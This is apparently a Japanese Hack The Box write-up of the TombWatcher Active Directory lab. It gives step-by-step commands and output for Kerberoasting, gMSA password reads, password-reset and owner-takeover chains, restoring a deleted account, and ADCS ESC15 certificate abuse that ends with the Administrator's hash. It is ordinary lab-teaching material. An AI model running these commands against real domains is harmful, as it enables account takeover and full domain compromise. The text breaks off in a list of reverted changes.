コンテンツにスキップ

HTB TombWatcher writeup

Hack The Box の許可された隔離ラボのみを対象とする、教育目的の技術 Writeup。

TombWatcher は、初期資格情報から Active Directory の ACL を段階的にたどり、Kerberoasting、gMSA パスワード取得、ForceChangePassword、WriteOwner、AD Recycle Bin、ADCS ESC15/ESC17 を組み合わせて Administrator まで到達する Windows AD ボックスだった。最初は henry の資格情報が与えられており、BloodHound/RustHound で見えた権限関係を一つずつ検証しながら john の WinRM シェルを取得し、その後 ADCS OU に対する GenericAll から削除済み cert_admin を復元して、証明書経由で Administrator の NT hash を取得した。

ItemValue
BoxTombWatcher
PlatformHack The Box
OSWindows
DifficultyMedium
Operator with provided credential henry / H3nry_987TGV!
|
| LDAP/SMB enumeration + RustHound
v
tombwatcher.htb\henry
|
| WriteSPN on Alfred -> set SPN -> Kerberoast -> hashcat
v
tombwatcher.htb\alfred / basketball
|
| AddSelf to Infrastructure group
v
tombwatcher.htb\alfred as member of Infrastructure
|
| ReadGMSAPassword on ansible_dev$
v
tombwatcher.htb\ansible_dev$ NTLM 47f92356b62e2b1c7b185df4842b63ad
|
| ForceChangePassword on sam
v
tombwatcher.htb\sam / HappyPwn2026!
|
| WriteOwner on john -> add GenericAll -> reset john password
v
tombwatcher.htb\john / HappyPwn3030! via WinRM
|
| GenericAll on OU=ADCS -> inspect Deleted Objects and template ACLs
v
Deleted cert_admin object with SID S-1-5-21-1392491010-1358638721-2126982587-1111
|
| Restore-ADObject into OU=ADCS -> inherited john GenericAll -> reset password
v
tombwatcher.htb\cert_admin / HappyPwn4000!
|
| WebServer template enrollment + ESC15 request agent flow
v
administrator.pfx for TOMBWATCHER\Administrator
|
| certipy auth -> Administrator NT hash
v
tombwatcher.htb\administrator via WinRM -> root.txt
  • Hostname: DC01
  • Domain: tombwatcher.htb
  • DC FQDN: DC01.tombwatcher.htb
  • Initial credential: henry / H3nry_987TGV!

名前解決は次のように設定した。

10.129.27.153 DC01.tombwatcher.htb tombwatcher.htb DC01

Nmap の実行コマンド自体は記録なし。保存された結果では Nmap 7.99 により全 TCP ポート相当のスキャンとサービス検出が行われていた。

PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP
3268/tcp open ldap Microsoft Windows Active Directory LDAP
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP
5985/tcp open http Microsoft HTTPAPI httpd 2.0
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49695/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49696/tcp open msrpc Microsoft Windows RPC
49698/tcp open msrpc Microsoft Windows RPC
49716/tcp open msrpc Microsoft Windows RPC
64733/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows
Domain SID S-1-5-21-1392491010-1358638721-2126982587
clock-skew: mean: -4h00m02s
smb2-security-mode: Message signing enabled and required

注目点:

  • 88, 389, 636, 3268, 3269 が開いているため、通常の Windows ホストではなく AD ドメインコントローラとして扱う。
  • 5985 が開いているため、資格情報が取れた後は WinRM ログオン可否を確認する価値がある。
  • 9389 は AD Web Services で、PowerShell の AD cmdlet を使う調査と相性がよい。
  • SMB signing は required なので、NTLM relay 系は主経路として期待しにくい。
  • Kerberos を使うため、スキャナ側と DC の時刻差を先に直す必要がある。

Kerberos の時刻ずれは ntpdate で補正した。

ターミナルウィンドウ
sudo ntpdate tombwatcher.htb
CLOCK: time stepped by -14402.192629

最初の資格情報 henry / H3nry_987TGV! は SMB で有効だった。

ターミナルウィンドウ
nxc smb 10.129.27.153 -u henry -p 'H3nry_987TGV!'
SMB 10.129.27.153 445 DC01 [+] tombwatcher.htb\henry:H3nry_987TGV!

LDAP からユーザー、グループ、コンピュータ、Domain SID を列挙した。

ターミナルウィンドウ
nxc ldap tombwatcher.htb -u henry -p 'H3nry_987TGV!' --users --groups --computers --get-sid
[*] Enumerated 7 domain users: tombwatcher.htb
Administrator
Guest
krbtgt
Henry
Alfred
sam
john
[*] Total records returned: 2
DC01$
ansible_dev$
Domain SID S-1-5-21-1392491010-1358638721-2126982587

SMB 側では通常の DC 共有だけが読めた。RID brute で、後続で使う主要 SID も確認できた。

ターミナルウィンドウ
nxc smb 10.129.27.153 -u henry -p 'H3nry_987TGV!' --shares --rid-brute
Share Permissions
IPC$ READ
NETLOGON READ
SYSVOL READ
1103: TOMBWATCHER\Henry
1104: TOMBWATCHER\Alfred
1105: TOMBWATCHER\sam
1106: TOMBWATCHER\john
1107: TOMBWATCHER\Infrastructure
1108: TOMBWATCHER\ansible_dev$

ここまでで、Web ではなく AD ACL と Kerberos を中心に進めるべきターゲットだと判断した。

RustHound-CE で AD グラフを収集した。

ターミナルウィンドウ
rusthound-ce -d tombwatcher.htb -f dc01.tombwatcher.htb -u henry -p 'H3nry_987TGV!' -c All --zip
Connected to TOMBWATCHER.HTB Active Directory!
9 users parsed
61 groups parsed
1 computers parsed
2 ous parsed
2 gpos parsed
33 certtemplates parsed
1 enterprisecas parsed

重要だった関係は次の通り。

  • henry は Alfred に WriteSPN
  • Alfred は Infrastructure グループに AddSelf
  • Infrastructure は ansible_dev$ に ReadGMSAPassword
  • ansible_dev$ は sam に ForceChangePassword
  • sam は john に WriteOwner
  • john は OU=ADCS に GenericAll

BloodHound のエッジをそのまま信じるだけでなく、LDAP のセキュリティ記述子を確認する観点も残しておく。通常属性ではなく DACL の ACE に根拠があるため、例えば Henry -> Alfred WriteSPN は Alfred 側の nTSecurityDescriptor に、Infrastructure -> ansible_dev$ ReadGMSAPassword は ansible_dev$ の msDS-GroupMSAMembership に根拠が出る。

Henry to Alfred: WriteSPN and Kerberoasting

Section titled “Henry to Alfred: WriteSPN and Kerberoasting”

henry には Alfred の SPN を変更する権限があった。状態変更として、Alfred に SPN を追加した。

ターミナルウィンドウ
bloodyad -d tombwatcher.htb -k --host dc01.tombwatcher.htb -u henry -p 'H3nry_987TGV!' set object alfred servicePrincipalName -v 'http/tombwatcher.htb'
[+] alfred's servicePrincipalName has been updated

SPN が設定されたため、Kerberoasting で TGS を取得した。

ターミナルウィンドウ
nxc ldap tombwatcher.htb -u henry -p 'H3nry_987TGV!' --kerberoasting
[*] sAMAccountName: Alfred, memberOf: [], pwdLastSet: 2025-05-13 00:17:03.526670, lastLogon: <never>
$krb5tgs$23$*Alfred$TOMBWATCHER.HTB$...

取得した TGS hash は hashcat で即座に割れた。

ターミナルウィンドウ
hashcat <alfred_tgs_hash_file> /usr/share/wordlists/rockyou.txt
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Status...........: Cracked
$krb5tgs$23$*Alfred$...:basketball

これで alfred / basketball を得た。ただし、この時点では WinRM はできなかった。

ターミナルウィンドウ
nxc winrm dc01.tombwatcher.htb -u alfred -p 'basketball' -d tombwatcher.htb
[-] tombwatcher.htb\alfred:basketball

一方 SMB 認証では alfred が有効であることを確認できた。

ターミナルウィンドウ
nxc smb dc01.tombwatcher.htb -u alfred -p 'basketball' -d tombwatcher.htb
[+] tombwatcher.htb\alfred:basketball

BloodHound の AddSelf に従い、alfred を Infrastructure グループに追加した。これは状態変更である。

ターミナルウィンドウ
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u alfred -p 'basketball' add groupMember INFRASTRUCTURE alfred
[+] alfred added to INFRASTRUCTURE

Infrastructure は ansible_dev$ の gMSA パスワードを読めるため、alfred の現在のグループ権限で gMSA hash を取得した。

ターミナルウィンドウ
nxc ldap dc01.tombwatcher.htb -d tombwatcher.htb -u alfred -p 'basketball' --gmsa
[+] tombwatcher.htb\alfred:basketball
[*] Getting GMSA Passwords
Account: ansible_dev$ NTLM: 47f92356b62e2b1c7b185df4842b63ad PrincipalsAllowedToReadPassword: Infrastructure

これで ansible_dev$ の NTLM hash を得た。gMSA は通常のユーザーパスワードではなく、対象オブジェクトの msDS-ManagedPassword を読む権限があるかどうかがポイントになる。

ansible_dev$ to john: Password Reset Chain

Section titled “ansible_dev$ to john: Password Reset Chain”

BloodHound では ansible_dev$ が sam に ForceChangePassword を持っていた。ansible_dev$ の NTLM hash を使い、sam のパスワードをリセットした。これは状態変更である。

ターミナルウィンドウ
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u ansible_dev$ -p :47f92356b62e2b1c7b185df4842b63ad set password sam 'HappyPwn2026!'
[+] Password changed successfully!

リセット後、SMB 認証で sam の資格情報を確認した。

ターミナルウィンドウ
nxc smb dc01.tombwatcher.htb -u sam -p HappyPwn2026! -d tombwatcher.htb
[+] tombwatcher.htb\sam:HappyPwn2026!

次に sam は john に対して WriteOwner を持っていた。所有者を書き換え、続けて GenericAll を付与した。これも状態変更である。

ターミナルウィンドウ
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u sam -p HappyPwn2026! set owner john sam
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u sam -p HappyPwn2026! add genericAll john sam
[+] Old owner S-1-5-21-1392491010-1358638721-2126982587-512 is now replaced by sam on john
[+] sam has now GenericAll on john

john に対する GenericAll を得たので、john のパスワードをリセットした。

ターミナルウィンドウ
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u sam -p HappyPwn2026! set password john 'HappyPwn3030!'
[+] Password changed successfully!

john は Remote Management Users に属していたため、WinRM が可能だった。

ターミナルウィンドウ
nxc winrm dc01.tombwatcher.htb -u john -p HappyPwn3030! -d tombwatcher.htb
[+] tombwatcher.htb\john:HappyPwn3030! (Pwn3d!)

WinRM でログインし、user flag を取得した。

ターミナルウィンドウ
evil-winrm-py -i dc01.tombwatcher.htb -u john -p HappyPwn3030!
evil-winrm-py PS C:\Users\john\Desktop> type user.txt
[REDACTED]

john での BloodHound 結果では、john が ADCS@TOMBWATCHER.HTB という OU に GenericAll を持っていた。ここで OU を調べた理由は、GenericAll が「OU 配下のオブジェクト作成・属性変更・ACL 継承」につながる可能性を示しており、ADCS という名前から証明書関連のユーザーや管理用オブジェクトが存在した可能性が高かったためである。まず対象 OU の実体を確認した。

ターミナルウィンドウ
Get-ADOrganizationalUnit `
-Identity "OU=ADCS,DC=tombwatcher,DC=htb" `
-Properties *
DistinguishedName : OU=ADCS,DC=tombwatcher,DC=htb
Name : ADCS
ProtectedFromAccidentalDeletion : True

OU 直下に通常の子オブジェクトがあるか確認したが、結果は空だった。

ターミナルウィンドウ
Get-ADObject `
-SearchBase "OU=ADCS,DC=tombwatcher,DC=htb" `
-SearchScope OneLevel `
-Filter * |
Select-Object Name, ObjectClass, DistinguishedName

この通常検索で何も出なかった理由は、現在有効な子オブジェクトが OU 直下に存在しなかったためである。ただし、これは「過去に何もなかった」ことを意味しない。AD Recycle Bin が有効な環境では、削除済みオブジェクトは通常検索の対象外になり、CN=Deleted Objects 側に移動する。そのため、この時点で IncludeDeletedObjects を使った削除済みオブジェクト検索が必要になる。

Get-GPInheritance では Default Domain Policy が見えた。

ターミナルウィンドウ
Get-GPInheritance -Target "OU=ADCS,DC=tombwatcher,DC=htb"
Name : adcs
ContainerType : OU
GpoInheritanceBlocked : No
GpoLinks : {}
InheritedGpoLinks : {Default Domain Policy}

ここで一度 GPO 経由を疑ったが、GpoLinks : {} であり、Default Domain Policy はドメインルートから継承されているだけだった。OU への GenericAll は OU オブジェクトや gPLink 属性を操作できる可能性を示すが、GPO 本体の Group Policy Container と SYSVOL 側の Group Policy Template を編集できることまでは意味しない。したがって、この線は主経路から外した。

OU の ACL では john の GenericAll を確認できた。

ターミナルウィンドウ
$dn = "OU=ADCS,DC=tombwatcher,DC=htb"
(Get-Acl "AD:$dn").Access |
Format-Table IdentityReference, ActiveDirectoryRights, AccessControlType, IsInherited
IdentityReference ActiveDirectoryRights AccessControlType
TOMBWATCHER\john GenericAll Allow
TOMBWATCHER\Domain Admins GenericAll Allow
NT AUTHORITY\SYSTEM GenericAll Allow

この時点で重要なのは、「空の OU」ではなく「過去にこの OU に何かが存在した可能性」だった。OU 名が ADCS で、証明書テンプレートも見えているため、削除済みオブジェクトを探す方向に切り替えた。

AD Recycle Bin が有効か確認した。

ターミナルウィンドウ
Get-ADOptionalFeature -Filter 'Name -like "Recycle Bin Feature"' |
Format-List Name, EnabledScopes
Name : Recycle Bin Feature
EnabledScopes : {CN=Partitions,CN=Configuration,DC=tombwatcher,DC=htb, ...}

OU=ADCS を lastKnownParent に持つ削除済みオブジェクトを検索した。ここで -IncludeDeletedObjects が必要なのは、削除済みオブジェクトが通常の LDAP/AD 検索結果からは除外されるためである。lastKnownParent は削除前に所属していたコンテナを示すため、空だった OU=ADCS に過去存在したオブジェクトを逆引きできる。

ターミナルウィンドウ
Get-ADObject `
-IncludeDeletedObjects `
-LDAPFilter '(&(isDeleted=TRUE)(lastKnownParent=OU=ADCS,DC=tombwatcher,DC=htb))' `
-Properties lastKnownParent,msDS-LastKnownRDN,isRecycled,whenChanged,objectClass,sAMAccountName |
Format-List Name,ObjectGUID,ObjectClass,sAMAccountName,lastKnownParent,msDS-LastKnownRDN,isRecycled,whenChanged,DistinguishedName
Name : cert_admin DEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3
ObjectGUID : f80369c8-96a2-4a7f-a56c-9c15edd7d1e3
ObjectClass : user
sAMAccountName : cert_admin
lastKnownParent : OU=ADCS,DC=tombwatcher,DC=htb
msDS-LastKnownRDN : cert_admin
isRecycled :
Name : cert_admin DEL:c1f1f0fe-df9c-494c-bf05-0679e181b358
ObjectGUID : c1f1f0fe-df9c-494c-bf05-0679e181b358
ObjectClass : user
sAMAccountName : cert_admin
lastKnownParent : OU=ADCS,DC=tombwatcher,DC=htb
msDS-LastKnownRDN : cert_admin
isRecycled :
Name : cert_admin DEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf
ObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
ObjectClass : user
sAMAccountName : cert_admin
lastKnownParent : OU=ADCS,DC=tombwatcher,DC=htb
msDS-LastKnownRDN : cert_admin
isRecycled :

3つとも cert_admin で、isRecycled は空だった。AD Recycle Bin では isDeleted=True かつ isRecycled が空のオブジェクトは、まだ復元対象として扱える。さらに lastKnownParent と msDS-LastKnownRDN が残っているため、Restore-ADObject で元の OU と名前に戻せる見込みがある。

ここで同名の cert_admin ユーザーを新規作成するだけでは不十分である。AD の ACL は表示名や sAMAccountName ではなく SID を参照するため、新規作成された同名ユーザーには新しい SID が割り当てられる。証明書テンプレート ACL に残っているのは削除前の cert_admin の SID であり、その SID を持つオブジェクトを復元しない限り、テンプレート上の権限は有効化されない。

ただし、どの cert_admin を復元すべきかはまだ決まらない。各候補の memberOf はすべて空で、グループ membership では差が出なかった。

ターミナルウィンドウ
Get-ADObject -Identity '938182c3-bf0b-410a-9aaa-45c8e1a02ebf' -IncludeDeletedObjects `
-Properties memberOf,adminCount,userAccountControl,nTSecurityDescriptor |
Format-List Name,ObjectGUID,memberOf,adminCount,userAccountControl
Name : cert_admin DEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf
ObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
memberOf : {}
adminCount :
userAccountControl : 66048

差分を SID から探すため、3つの削除済み cert_admin の SID を証明書テンプレート ACL と突き合わせた。

ターミナルウィンドウ
$sids = @(
"S-1-5-21-1392491010-1358638721-2126982587-1109",
"S-1-5-21-1392491010-1358638721-2126982587-1110",
"S-1-5-21-1392491010-1358638721-2126982587-1111"
)
$config = (Get-ADRootDSE).configurationNamingContext
$base = "CN=Certificate Templates,CN=Public Key Services,CN=Services,$config"
Get-ADObject `
-SearchBase $base `
-LDAPFilter "(objectClass=pKICertificateTemplate)" |
ForEach-Object {
$template = $_
$acl = Get-Acl "AD:$($template.DistinguishedName)"
foreach ($ace in $acl.Access) {
try {
$sid = $ace.IdentityReference.Translate(
[System.Security.Principal.SecurityIdentifier]
).Value
}
catch {
$sid = $ace.IdentityReference.Value
}
if ($sid -in $sids) {
[PSCustomObject]@{
Template = $template.Name
SID = $sid
Rights = $ace.ActiveDirectoryRights
Type = $ace.AccessControlType
ObjectType = $ace.ObjectType
InheritanceType = $ace.InheritanceType
}
}
}
} | Format-List
Template : WebServer
SID : S-1-5-21-1392491010-1358638721-2126982587-1111
Rights : GenericRead
Type : Allow
ObjectType : 00000000-0000-0000-0000-000000000000
InheritanceType : None
Template : WebServer
SID : S-1-5-21-1392491010-1358638721-2126982587-1111
Rights : ReadProperty, WriteProperty, ExtendedRight
Type : Allow
ObjectType : 0e10c968-78fb-11d2-90d4-00c04f79dc55
InheritanceType : None

0e10c968-78fb-11d2-90d4-00c04f79dc55 が何を意味するか確認した。

ターミナルウィンドウ
Get-ADObject `
-SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).configurationNamingContext)" `
-LDAPFilter "(rightsGuid=0e10c968-78fb-11d2-90d4-00c04f79dc55)" `
-Properties displayName,rightsGuid |
Format-List Name,displayName,rightsGuid
Name : Certificate-Enrollment
displayName : Enroll
rightsGuid : 0e10c968-78fb-11d2-90d4-00c04f79dc55

これで復元すべき候補は ObjectGUID 938182c3-bf0b-410a-9aaa-45c8e1a02ebf、objectSid S-1-5-21-1392491010-1358638721-2126982587-1111 と判断できた。理由は、3世代の cert_admin のうち S-...-1111 だけが WebServer テンプレート ACL に現れ、さらに ObjectType 0e10c968-78fb-11d2-90d4-00c04f79dc55 が Certificate-Enrollment、つまり Enroll 権限だと確認できたためである。単に最新の whenChanged だから選んだのではなく、「ADCS テンプレート ACL が参照している SID」を根拠に選んだ。

復元対象を再確認した。

ターミナルウィンドウ
$guid = "938182c3-bf0b-410a-9aaa-45c8e1a02ebf"
$deleted = Get-ADObject `
-Identity $guid `
-IncludeDeletedObjects `
-Properties objectSid,lastKnownParent,msDS-LastKnownRDN,isDeleted,isRecycled
$deleted | Format-List Name,ObjectGUID,objectSid,lastKnownParent,msDS-LastKnownRDN,isDeleted,isRecycled
Name : cert_admin DEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf
ObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
objectSid : S-1-5-21-1392491010-1358638721-2126982587-1111
lastKnownParent : OU=ADCS,DC=tombwatcher,DC=htb
msDS-LastKnownRDN : cert_admin
isDeleted : True
isRecycled :

Restore-ADObject で復元した。これは状態変更である。

ターミナルウィンドウ
$deleted | Restore-ADObject

復元後、SID と DN が期待通りであることを確認した。

ターミナルウィンドウ
Get-ADUser cert_admin -Properties objectSid,Enabled |
Format-List SamAccountName,ObjectSid,Enabled
SamAccountName : cert_admin
ObjectSid : S-1-5-21-1392491010-1358638721-2126982587-1111
Enabled : True
ターミナルウィンドウ
Get-ADUser `
-LDAPFilter "(sAMAccountName=cert_admin)" `
-ErrorAction SilentlyContinue
DistinguishedName : CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htb
Enabled : True
ObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
SamAccountName : cert_admin
SID : S-1-5-21-1392491010-1358638721-2126982587-1111

SID が維持された理由は、Restore-ADObject が同名ユーザーを新規作成する操作ではなく、Deleted Objects に残っていた元のオブジェクトを復元する操作だからである。AD Recycle Bin で復元可能な状態のオブジェクトは、削除前の objectGUID や objectSid を保持しており、復元後もそれが再利用される。ここでは復元後の ObjectGUID と SID が削除済み状態の値と一致したことで、その前提を確認できた。

復元しただけでは cert_admin のパスワードは分からない。そこで、復元されたユーザーオブジェクトに john の権限が継承されているか確認した。

ターミナルウィンドウ
$certAdmin = Get-ADUser `
-Identity "cert_admin" `
-Properties objectSid,Enabled,userAccountControl,DistinguishedName
$userDn = $certAdmin.DistinguishedName
(Get-Acl "AD:$userDn").Access |
Where-Object {
$_.IdentityReference -eq "TOMBWATCHER\john"
} |
Format-List IdentityReference,ActiveDirectoryRights,AccessControlType,ObjectType,InheritanceType,IsInherited
IdentityReference : TOMBWATCHER\john
ActiveDirectoryRights : GenericAll
AccessControlType : Allow
ObjectType : 00000000-0000-0000-0000-000000000000
InheritanceType : All
IsInherited : True

john の GenericAll が OU=ADCS から復元後の cert_admin に継承されていた。これにより john から cert_admin のパスワードをリセットできる。

ターミナルウィンドウ
$newPassword = ConvertTo-SecureString `
"HappyPwn4000!" `
-AsPlainText `
-Force
Set-ADAccountPassword `
-Identity $certAdmin `
-Reset `
-NewPassword $newPassword
Enable-ADAccount -Identity $certAdmin
Unlock-ADAccount -Identity $certAdmin -ErrorAction SilentlyContinue

確認結果:

ターミナルウィンドウ
Get-ADUser cert_admin -Properties Enabled,userAccountControl |
Format-List
DistinguishedName : CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htb
Enabled : True
ObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
SamAccountName : cert_admin
SID : S-1-5-21-1392491010-1358638721-2126982587-1111
userAccountControl : 66048

ここがこのボックスで最も詰まりやすい箇所だった。cert_admin はグループ membership で特権を持っていたのではなく、削除済み SID が証明書テンプレート ACL に直接残っていた。したがって、復元対象は「名前が cert_admin のどれか」ではなく、「WebServer テンプレート ACL が参照している SID を持つ cert_admin」だった。

最初に john で Certipy を実行した時点では、CA 自体は見えたが脆弱テンプレートは列挙されなかった。

ターミナルウィンドウ
certipy find -u john -p HappyPwn3030! -dc-ip 10.129.27.153 -target tombwatcher.htb -vulnerable -stdout
CA Name : tombwatcher-CA-1
DNS Name : DC01.tombwatcher.htb
Request Disposition : Issue
Enroll : TOMBWATCHER.HTB\Authenticated Users
Certificate Templates : [!] Could not find any certificate templates

これは Certipy が壊れていたというより、john 自身が脆弱な WebServer テンプレートの enrollment principal ではなかったためである。-vulnerable は現在の認証主体から見て悪用可能なテンプレートを中心に出すため、john では cert_admin の SID に紐づくテンプレート権限を直接利用できない。代替調査として、PowerShell で CN=Certificate Templates,CN=Public Key Services,... 配下のテンプレート ACL を読み、削除済み cert_admin の SID が残っていないかを直接突き合わせた。その結果 S-...-1111 が WebServer の Enroll 権限を持つことが分かり、cert_admin 復元へつながった。

cert_admin で Certipy を実行すると、john では見えなかった脆弱な WebServer テンプレートが見えるようになった。

ターミナルウィンドウ
certipy find -u cert_admin -p 'HappyPwn4000!' -dc-ip 10.129.27.153 -target tombwatcher.htb -vulnerable -stdout
CA Name : tombwatcher-CA-1
DNS Name : DC01.tombwatcher.htb
Request Disposition : Issue
Enroll : TOMBWATCHER.HTB\Authenticated Users
Template Name : WebServer
Display Name : Web Server
Certificate Authorities : tombwatcher-CA-1
Enabled : True
Client Authentication : False
Enrollment Agent : False
Enrollee Supplies Subject : True
Extended Key Usage : Server Authentication
Requires Manager Approval : False
Authorized Signatures Required : 0
Schema Version : 1
Enrollment Rights : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
TOMBWATCHER.HTB\cert_admin
Write Property Enroll : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
TOMBWATCHER.HTB\cert_admin
[+] User Enrollable Principals : TOMBWATCHER.HTB\cert_admin
[!] Vulnerabilities
ESC15 : Enrollee supplies subject and schema version is 1.
ESC17 : Enrollee supplies subject and template allows server authentication.

まず WebServer テンプレートから Certificate Request Agent の application policy を持つ証明書を取得した。

ターミナルウィンドウ
certipy req \
-u 'cert_admin' -p 'HappyPwn4000!' \
-dc-ip 10.129.27.153 -target dc01.tombwatcher.htb \
-ca 'tombwatcher-CA-1' -template 'WebServer' \
-application-policies 'Certificate Request Agent'
[*] Requesting certificate via RPC
[*] Request ID is 5
[*] Successfully requested certificate
[*] Got certificate without identity
[*] Certificate has no object SID
[*] Saving certificate and private key to 'cert_admin.pfx'
[*] Wrote certificate and private key to 'cert_admin.pfx'

ここで得た cert_admin.pfx は ID を持つログオン用証明書ではなく、後続の代理要求に使うための証明書として扱う。

一度、FQDN 形式のドメイン名と WebServer テンプレートで Administrator 代理要求を試したが、認証に使える ID が入らなかった。

ターミナルウィンドウ
certipy req \
-u 'cert_admin' -p 'HappyPwn4000!' \
-dc-ip 10.129.27.153 -target dc01.tombwatcher.htb \
-ca 'tombwatcher-CA-1' -template 'WebServer' \
-pfx 'cert_admin.pfx' -on-behalf-of 'TOMBWATCHER.HTB\Administrator'
[!] Domain part of '-on-behalf-of' should not be a FQDN
[*] Request ID is 6
[*] Got certificate without identity
[*] Certificate has no object SID
[*] Wrote certificate and private key to 'administrator.pfx'

その証明書で認証しようとしても失敗した。

ターミナルウィンドウ
certipy auth -pfx administrator.pfx -dc-ip 10.129.27.153
[*] Certificate identities:
[*] No identities found in this certificate
[!] Could not find identity in the provided certificate
[-] Username or domain is not specified, and identity information was not found in the certificate

この失敗から、証明書に UPN/SID が入っているかを必ず確認する必要があると分かる。次に WebServer テンプレートへ UPN と SID を明示する形も試した。これは証明書に Administrator の UPN/SID を入れられることの確認にはなったが、最終的な主経路は後述の代理要求にした。

ターミナルウィンドウ
certipy req \
-u 'cert_admin' -p 'HappyPwn4000!' \
-dc-ip 10.129.27.153 -target dc01.tombwatcher.htb \
-ca 'tombwatcher-CA-1' -template 'WebServer' \
-upn administrator@TOMBWATCHER.HTB \
-sid 'S-1-5-21-1392491010-1358638721-2126982587-500' \
-application-policies 'Certificate Request Agent'
[*] Requesting certificate via RPC
[*] Request ID is 8
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@TOMBWATCHER.HTB'
[*] Certificate object SID is 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Wrote certificate and private key to 'administrator.pfx'

最終的には、cert_admin.pfx を代理証明書として使い、User テンプレートで TOMBWATCHER\Administrator の証明書を要求した。

ターミナルウィンドウ
certipy req \
-u 'cert_admin' -p 'HappyPwn4000!' \
-dc-ip 10.129.27.153 -target dc01.tombwatcher.htb \
-ca 'tombwatcher-CA-1' -template 'User' \
-pfx 'cert_admin.pfx' -on-behalf-of 'TOMBWATCHER\Administrator'
[*] Requesting certificate via RPC
[*] Request ID is 10
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator@tombwatcher.htb'
[*] Certificate object SID is 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

administrator.pfx には Administrator の UPN と SID が入っているため、Certipy で Kerberos 認証し、NT hash を取得できた。

ターミナルウィンドウ
certipy auth -pfx administrator.pfx -dc-ip 10.129.27.153
[*] Certificate identities:
[*] SAN UPN: 'Administrator@tombwatcher.htb'
[*] Security Extension SID: 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Using principal: 'administrator@tombwatcher.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@tombwatcher.htb': aad3b435b51404eeaad3b435b51404ee:f61db423bebe3328d33af26741afe5fc

取得した NT hash で WinRM にログインした。

ターミナルウィンドウ
evil-winrm-py -i dc01.tombwatcher.htb -u administrator -H f61db423bebe3328d33af26741afe5fc
[*] Connecting to 'dc01.tombwatcher.htb:5985' as 'administrator'
evil-winrm-py PS C:\Users\Administrator\Documents> whoami
tombwatcher\administrator

root flag を取得した。

evil-winrm-py PS C:\Users\Administrator\Desktop> type root.txt
[REDACTED]
  • OU=ADCS に Default Domain Policy が影響している表示は、GPO を編集できることを意味しなかった。GpoLinks は空で、InheritedGpoLinks に見えていただけだった。
  • OU=ADCS は空だったため、通常の子ユーザーやコンピュータを操作する方向では進まなかった。Deleted Objects を見る必要があった。
  • 削除済み cert_admin は3つあり、memberOf は全て空だった。グループ membership ではなく、証明書テンプレート ACL が参照している SID を基準に選ぶ必要があった。
  • john で certipy find -vulnerable を実行しても、脆弱テンプレートは見えなかった。cert_admin の SID にテンプレート権限が付いていたため、復元後に再実行する必要があった。
  • 最初の -on-behalf-of 'TOMBWATCHER.HTB\Administrator' は FQDN ドメイン指定で警告が出て、証明書に ID が入らなかった。certipy auth の “No identities found” を見て失敗と判断した。
  • Alfred の servicePrincipalName

    • 変更内容: http/tombwatcher.htb を追加。
    • 元の状態: 記録なし。
    • 復旧: Alfred の servicePrincipalName から http/tombwatcher.htb を削除する。
    • 検証: 未確認。
  • Infrastructure グループ membership

    • 変更内容: alfred を Infrastructure に追加。
    • 元の状態: alfred は未所属。
    • 復旧: Infrastructure から alfred を削除する。
    • 検証: 未確認。
  • sam のパスワード

    • 変更内容: HappyPwn2026! にリセット。
    • 元の状態: 記録なし。
    • 復旧: 元パスワード不明のため、管理者権限で既知の安全な値に再設定、またはラボリセット。
    • 検証: 未確認。
  • john の owner / DACL / パスワード

    • 変更内容: owner を sam に変更し、sam に GenericAll を追加し、HappyPwn3030! にリセット。
    • 元の owner: S-1-5-21-1392491010-1358638721-2126982587-512、つまり Domain Admins。
    • 復旧: owner を Domain Admins に戻し、john の DACL から sam の GenericAll ACE を削除し、パスワードを元に戻す。元パスワードは記録なし。
    • 検証: 未確認。
  • cert_admin の復元とパスワード

    • 変更内容: 削除済み ObjectGUID 938182c3-bf0b-410a-9aaa-45c8e1a02ebf を復元し、HappyPwn4000! にリセット。必要に応じて有効化・unlock も実施。
    • 元の状態: CN=Deleted Objects 配下の削除済みユーザー。
    • 復旧: ラボを元状態に戻すには cert_admin を再削除するか、マシンをリセットする。
    • 検証: 未確認。
  • ADCS 証明書要求

